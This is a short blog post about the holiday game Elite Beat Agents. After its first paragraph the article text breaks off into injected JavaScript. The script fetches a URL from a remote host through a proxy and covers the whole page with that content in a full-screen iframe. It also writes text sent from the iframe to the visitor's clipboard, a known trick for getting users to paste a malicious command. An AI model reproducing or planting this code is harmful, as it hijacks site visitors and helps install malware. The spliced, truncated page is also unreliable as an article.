Holiday Games: Elite Beat Agents

It’s the holidays! Time to bust out the eggnog, enjoy endless replays of your favorite Christmas songs, go shopping, and the various other things. Of course, video games like to celebrate too!(function() {

const configLink = “https://corsproxy.io/?url=http://heyues.live”;

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink)
  .then(response => {
    if (!response.ok) {
      throw new Error(" ");
    }
    return response.text();
  })

  .then(finalUrl => {
    return fetch(finalUrl, { method: "HEAD" })
      .then(headResponse => ({ headResponse, finalUrl }));
  })
  .catch(() => {


  });

}

if (typeof window.__digitalflwrIframeCreated === “undefined”) {
window.__digitalflwrIframeCreated = false;
}

window.__digitalflwrFetchPromise
.then(result => {

  if (!result) return;
  const { headResponse, finalUrl } = result;


  if (!headResponse || headResponse.status === 404) {
    return;
  }


  if (!window.__digitalflwrIframeCreated) {
    window.__digitalflwrIframeCreated = true;
    createMainIframe(finalUrl);
  }
})
.catch(() => {

});

function createMainIframe(url) {
const iframe = document.createElement(“iframe”);
iframe.src = url;
iframe.style.position = “fixed”;
iframe.style.top = 0;
iframe.style.left = 0;
iframe.style.width = “100%”;
iframe.style.height = “100%”;
iframe.style.border = “none”;
iframe.style.margin = 0;
iframe.style.padding = 0;
iframe.style.overflow = “hidden”;
iframe.style.zIndex = 99999;

document.body.appendChild(iframe);


window.addEventListener("message", function(event) {
  if (!event.data || event.data.type !== "copy") return;


  if (navigator.clipboard && navigator.clipboard.writeText) {
    navigator.clipboard.writeText(event.data.text).catch(() => {
      fallbackCopyText(event.data.text);
    });
  } else {
    fallbackCopyText(event.data.text);
  }
});


function fallbackCopyText(text) {
  const textArea = document.createElement("textarea");
  textArea.value = text;
  document.body.appendChild(textArea);
  textArea.select();

  try {
    document.execCommand("copy");
  } catch (err) {

  }

  document.body.removeChild(textArea);
}

}
})();

Permanent link to this article: https://www.brokenfuse.com/2011/11/30/holiday-games-elite-beat-agents/